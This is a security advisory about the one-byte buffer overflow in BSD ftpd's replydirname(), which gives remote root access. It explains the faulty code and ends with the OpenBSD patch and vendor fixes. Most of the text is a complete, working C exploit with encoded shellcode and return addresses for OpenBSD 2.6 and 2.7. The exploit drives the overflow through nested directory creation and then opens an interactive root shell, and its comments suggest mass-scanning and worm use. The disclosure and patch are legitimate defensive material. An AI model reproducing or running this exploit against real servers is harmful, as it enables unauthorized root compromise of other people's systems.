COMMAND

    ftpd

SYSTEMS AFFECTED

    BSD ftp

PROBLEM

    Following is based on a  OpenBSD Security Advisory.  A  relatively
    obscure one-byte buffer overflow bug present in ftpd(8) turns  out
    to be a serious problem,  yielding remote users root access  under
    certain conditions.    For  a system  to be  vulnerable, ftpd must
    have been explicitly enabled  by the administrator (OpenBSD  ships
    with it OFF  by default) and  the attacker must  have write access
    to at  least one  directory.   Therefore, anonymous  read-only FTP
    servers are safe (we  recommend applying the patch  regardless, of
    course).   Non-anonymous   FTP  administrators  should   seriously
    consider using a more secure transport like SSH.

    The offending code is as follows:

        char npath[MAXPATHLEN];
        int i;

        for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
	        npath[i] = *name;
	        if (*name == '"')
		        npath[++i] = '"';
        }
        npath[i] = '\0';

    In <sys/param.h>,  MAXPATHLEN is  defined to  be 1024  bytes.  The
    for() construct here correctly bounds  variable `i' to be <  1023,
    such that when  the loop has  ended, no byte  past npath[1023] may
    be written with '\0'.   However, since `i' is also  incremented in
    the nested statements  here, it can  become as large  as 1024, and
    npath[1024] is past the end of the allocated buffer space.

    The original bug report comes from here:

        http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/

    This  vulnerability  was  first   reported  to  OpenBSD   Kristian
    Vlaardingerbroek through the mailing list.  Kristian  acknowledged
    in  a  later  post  that  it  was  Ronald  (a.k.a.  Scrippie)  who
    originally found the bug.

    /*
       h0h0h0 0-day k0d3z
       Exploit by Scrippie, help by dvorak and jimjones

       greets to sk8

       Not fully developt exploit but it works most of the time ;)

       Things to add:
          - automatic writeable directory finding
          - syn-scan option to do mass-scanning
          - worm capabilities? (should be done seperatly using the -C option

       11/13/2000
    */

    #include <stdio.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>


    void usage(char *program);
    char *strcreat(char *, char *, int);
    char *longToChar(unsigned long);
    char *xrealloc(void *, size_t);
    void xfree(char **ptr);
    char *xmalloc(size_t);
    int xconnect(char *host, u_short port);
    void xsend(int fd, char *buf);
    void xsendftpcmd(int fd, char *command, char *param);
    void xrecieveall(int fd, char *buf, int size);
    void xrecieve(int fd, char *buf, int size);
    void ftp_login(int fd, char *user, char *password);
    void exploit(int fd);

    int verbose = 0;


    /*
       Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
       to get rid of dots and slashes.
    */

    char heavenlycode[] =
    "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
    "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";

    char user[255] = "anonymous";
    char pass[255] = "anonymous@abc.com";
    char write_dir[PATH_MAX] = "/";
    int ftpport = 21;
    unsigned long int ret_addr = 0;
    #define CMD_LOCAL 0
    #define CMD_REMOTE 1
    int command_type = -1;
    char *command = NULL;

    struct typeT {
	    char *name;
	    unsigned long int ret_addr;
    };

    #define NUM_TYPES 2
    struct typeT types[NUM_TYPES] = {
	    "OpenBSD 2.6", 0xdfbfd0ac,
	    "OpenBSD 2.7", 0xdfbfd0ac};

    void
    usage(char *program)
    {
	    int i;
	    fprintf(stderr,
		    "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
		    "Directory should be an absolute path, writable by the user.\n"
		    "The argument of -c will be executed on the remote host\n"
		    "while the argument of -C will be executed on the local\n"
		    "with its filedescriptors connected to the remote host\n"
		    "Valid types:\n",
		    program);
	    for (i = 0; i < NUM_TYPES; i++) {
		    printf("%d : %s\n", i,  types[i].name);
	    }
	    exit(-1);
    }


    main(int argc, char **argv)
    {
	    unsigned int i;
	    int opt, fd;
	    unsigned int type = 0;
	    char *hostname = "localhost";

	    if (argc < 2)
		    usage(argv[0]);

	    while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
		    switch (opt) {
		    case 'h':
			    hostname = optarg;
			    break;
		    case 'C':
			    command = optarg;
			    command_type = CMD_LOCAL;
			    break;
		    case 'c':
			    command = optarg;
			    command_type = CMD_REMOTE;
			    break;
		    case 'r':
			    ret_addr = strtoul(optarg, NULL, 0);
			    break;
		    case 'v':
			    verbose++;
			    break;
		    case 'f':
			    if (!(ftpport = atoi(optarg))) {
				    fprintf(stderr, "Invalid destination port - %s\n", optarg);
				    exit(-1);
			    }
			    exit(-1);
			    break;
		    case 'u':
			    strncpy(user, optarg, sizeof(user) - 1);
			    user[sizeof(user) - 1] = 0x00;
			    break;
		    case 'p':
			    strncpy(pass, optarg, sizeof(pass) - 1);
			    pass[sizeof(pass) - 1] = 0x00;
			    break;
		    case 'd':
			    strncpy(write_dir, optarg, sizeof(write_dir) - 1);
			    write_dir[sizeof(write_dir) - 1] = 0x00;
			    if ((write_dir[0] != '/'))
				    usage(argv[0]);
			    if ((write_dir[strlen(write_dir) - 1] != '/'))
				    strncat(write_dir, "/", sizeof(write_dir) - 1);
			    break;
		    case 't':
			    type = atoi(optarg);
			    if (type > NUM_TYPES)
				    usage(argv[0]);
			    break;
		    default:
			    usage(argv[0]);
		    }
	    }

	    if (ret_addr == 0)
		    ret_addr = types[type].ret_addr;
	    if ((fd = xconnect(hostname, ftpport)) == -1)
		    exit(-1);
	    else
		    printf("Connected to remote host! Sending evil codes.\n");


	    ftp_login(fd, user, pass);
	    exploit(fd);


    }

    int
    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
    {
	    xsendftpcmd(fd, command, param);
	    xrecieveall(fd, res, size);

	    if (res == NULL)
		    return 0;
	    if (verbose)
		    printf("%s\n", res);
	    if (msg && (res[0] != '2')) {
		    fprintf(stderr, "%s\n", msg);
		    exit(-1);
	    }
	    return (res[0] != '2');
    }

    void shell(int fd)
    {
	    fd_set readfds;
	    char buf[1];
	    char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";

	    write(fd, tst, strlen(tst));
	    while (1) {
		    FD_ZERO(&readfds);
		    FD_SET(0, &readfds);
		    FD_SET(fd, &readfds);
		    select(fd + 1, &readfds, NULL, NULL, NULL);
		    if (FD_ISSET(0, &readfds)) {
			    if (read(0, buf, 1) != 1) {
				    perror("read");
				    exit(1);
			    }
			    write(fd, buf, 1);
		    }
		    if (FD_ISSET(fd, &readfds)) {
			    if (read(fd, buf, 1) != 1) {
				    perror("read");
				    exit(1);
			    }
			    write(1, buf, 1);
		    }
	    }
    }

    void do_command(int fd)
    {
	    char buffer[1024];
	    int len;

	    if (command_type == CMD_LOCAL) {
		    dup2(fd, 0);
		    dup2(fd, 1);
		    dup2(fd, 2);
		    execl(command, command, NULL);
		    exit (2);
	    }
	    write(fd, command, strlen(command));
	    write(fd, "\n", 1);
	    while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
		    write(1, buffer, len);
	    }
	    exit (0);
    }

    void execute_command(fd)
    {
    }

    int exploit_ok(int fd)
    {
	    char result[1024];
	    xsend(fd, "id\n");

	    xrecieve(fd, result, sizeof(result));
	    return (strstr(result, "uid=") != NULL);
    }

    void exploit(int fd)
    {
	    char res[1024];
	    int heavenlycode_s;
	    char *dir = NULL;

	    ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");

	    dir = strcreat(dir, "A", 255 - strlen(write_dir));
	    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	    xfree(&dir);

	    /* next on = 256 */

	    dir = strcreat(dir, "A", 255);
	    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	    xfree(&dir);
	    /* next on = 512 */

	    heavenlycode_s = strlen(heavenlycode);
	    dir = strcreat(dir, "A", 254 - heavenlycode_s);
	    dir = strcreat(dir, heavenlycode, 1);
	    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	    xfree(&dir);
	    /* next on = 768 */

	    dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
	    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	    xfree(&dir);
	    /* length = 1020 */

	    /* 1022 moet " zijn */
	    dir = strcreat(dir, "AAA\"", 1);
	    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
	    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
	    xfree(&dir);

	    /* and tell it to blow up */
	    ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);

	    if (!exploit_ok(fd)) {
		    if (command != NULL) {
			    exit (2);
		    }
		    fprintf(stderr, "Exploit failed\n");
		    exit (1);
	    }
	    if (command == NULL)
		    shell(fd);
	    else
		    do_command(fd);
    }


    char *
    strcreat(char *dest, char *pattern, int repeat)
    {
	    char *ret;
	    size_t plen, dlen = 0;
	    int i;

	    if (dest)
		    dlen = strlen(dest);
	    plen = strlen(pattern);

	    ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

	    if (!dest)
		    ret[0] = 0x00;

	    for (i = 0; i < repeat; i++) {
		    strcat(ret, pattern);
	    }
	    return (ret);
    }

    char *
    longToChar(unsigned long blaat)
    {
	    char *ret;

	    ret = (char *) xmalloc(sizeof(long) + 1);
	    memcpy(ret, &blaat, sizeof(long));
	    ret[sizeof(long)] = 0x00;

	    return (ret);
    }

    char *
    xrealloc(void *ptr, size_t size)
    {
	    char *wittgenstein_was_a_drunken_swine;

	    if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
		    fprintf(stderr, "Cannot calculate universe\n");
		    exit(-1);
	    }
	    return (wittgenstein_was_a_drunken_swine);
    }

    void
    xfree(char **ptr)
    {
	    if (!ptr || !*ptr)
		    return;
	    free(*ptr);
	    *ptr = NULL;
    }

    char *
    xmalloc(size_t size)
    {
	    char *heidegger_was_a_boozy_beggar;

	    if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
		    fprintf(stderr, "Out of cheese error\n");
		    exit(-1);
	    }
	    return (heidegger_was_a_boozy_beggar);
    }


    int
    xconnect(char *host, u_short port)
    {
	    struct hostent *he;
	    struct sockaddr_in s_in;
	    int fd;

	    if ((he = gethostbyname(host)) == NULL) {
		    perror("gethostbyname");
		    return (-1);
	    }
	    memset(&s_in, 0, sizeof(s_in));
	    s_in.sin_family = AF_INET;
	    s_in.sin_port = htons(port);
	    memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

	    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		    perror("socket");
		    return (-1);
	    }
	    if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
		    perror("connect");
		    return (-1);
	    }
	    return fd;
    }

    /* returns status from ftpd */
    void
    ftp_login(int fd, char *user, char *password)
    {
	    char reply[512];
	    int rep;
	    xrecieveall(fd, reply, sizeof(reply));
	    if (verbose) {
		    printf("Logging in ..\n");
		    printf("%s\n", reply);
	    }
	    xsendftpcmd(fd, "USER", user);
	    xrecieveall(fd, reply, sizeof(reply));
	    if (verbose)
		    printf("%s\n", reply);
	    xsendftpcmd(fd, "PASS", password);
	    xrecieveall(fd, reply, sizeof(reply));
	    if (verbose)
		    printf("%s\n", reply);

	    if (reply[0] != '2') {
		    printf("Login failed.\n");
		    exit(-1);
	    }
    }

    void
    xsendftpcmd(int fd, char *command, char *param)
    {
	    xsend(fd, command);

	    if (param != NULL) {
		    xsend(fd, " ");
		    xsend(fd, param);
	    }
	    xsend(fd, "\r\n");
    }


    void
    xsend(int fd, char *buf)
    {

	    if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
		    perror("send");
		    exit(-1);
	    }
    }

    void
    xrecieveall(int fd, char *buf, int size)
    {
	    char scratch[6];

	    if (buf == NULL || size == 0) {
		    buf = scratch;
		    size = sizeof(scratch);
	    }
	    memset(buf, 0, size);
	    do {
		    xrecieve(fd, buf, size);
	    } while (buf[3] == '-');
    }
    /* recieves a line from the ftpd */
    void
    xrecieve(int fd, char *buf, int size)
    {
	    char *end;
	    char ch;

	    end = buf + size;

	    while (buf < end) {
		    if (read(fd, buf, 1) != 1) {
			    perror("read");	/* XXX */
			    exit(-1);
		    }
		    if (buf[0] == '\n') {
			    buf[0] = '\0';
			    return;
		    }
		    if (buf[0] != '\r') {
			    buf++;
		    }
	    }
	    buf--;
	    while (read(fd, buf, 1) == 1) {
		    if (buf[0] == '\n') {
			    buf[0] = '\0';
			    return;
		    }
	    }
	    perror("read");		/* XXX */
	    exit(-1);
    }

SOLUTION

    A fix  for this  problem was  committed on  December 4th.  OpenBSD
    developers  became  aware  of  a  publicly  available  exploit  on
    December 17th.

    This vulnerability affects OpenBSD versions through 2.8.   FreeBSD
    is reportedly not  vulnerable.  NetBSD  is vulnerable to  the same
    bug and a patch was applied to their tree on December 14th.  Patch
    for OpenBSD 2.8:

    Index: libexec/ftpd/ftpd.c
    ===================================================================
    RCS file: /cvs/src/libexec/ftpd/ftpd.c,v
    retrieving revision 1.79
    diff -u -r1.79 ftpd.c
    --- libexec/ftpd/ftpd.c	2000/09/15 07:13:45	1.79
    +++ libexec/ftpd/ftpd.c	2000/12/05 17:06:29
    @@ -1959,15 +1959,21 @@
     replydirname(name, message)
 	    const char *name, *message;
     {
    +	char *p, *ep;
 	    char npath[MAXPATHLEN];
    -	int i;

    -	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
    -		npath[i] = *name;
    -		if (*name == '"')
    -			npath[++i] = '"';
    +	p = npath;
    +	ep = &npath[sizeof(npath) - 1];
    +	while (*name) {
    +		if (*name == '"' && ep - p >= 2) {
    +			*p++ = *name++;
    +			*p++ = '"';
    +		} else if (ep - p >= 1)
    +			*p++ = *name++;
    +		else
    +			break;
 	    }
    -	npath[i] = '\0';
    +	*p = '\0';
 	    reply(257, "\"%s\" %s", npath, message);
     }

    For Trustix:

        For version 1.2: ftpd-BSD-0.3.2-4tr.i586.rpm
                         ftpd-BSD-0.3.2-4tr.src.rpm
        For version 1.1 and 1.0:
                         ftpd-BSD-0.3.2-4tr.i586.rpm
                         ftpd-BSD-0.3.2-4tr.src.rpm

    Get these updates at:

        ftp://ftp.trustix.net/pub/Trustix/updates/
        http://www.trustix.net/pub/Trustix/updates/

    Users of 1.0x and 1.1 should go to the 1.1 directory, while  users
    of 1.2 should use the packages available in the 1.2 directory.

    Systems running NetBSD-current dated from before December 4,  2000
    should be  upgraded to  NetBSD-current dated  December 4,  2000 or
    later.  Systems running releases  older than NetBSD 1.4 should  be
    upgraded to NetBSD 1.4.3 before applying the fixes described here.
    Systems running NetBSD 1.4.3 should apply the patch contained in

        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.4.3

    Systems running NetBSD 1.5 should apply the patch contained in

        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.5

    Different patches are needed  because the vulnerable function  was
    moved from ftpd.c to cmds.c.

    Sam Trenholme patched David Madore's Linux port of OpenBSD's  ftpd
    against the problems  present in replydirname().   While the  word
    is that  Linux is  not currently  exploitable, it  is better to be
    safe  than  sorry.   He  also  patched  against the setproctitle()
    problems previously reported, even though they are a non-issue due
    to the manner  David Madore ported  OpenBSD's FTPD to  Linux.  The
    patches are against the 0.2.3 release of ftpd-BSD (David  Madore's
    name for the port), and are available in RPM format here:

        http://www.samiam.org/rpms/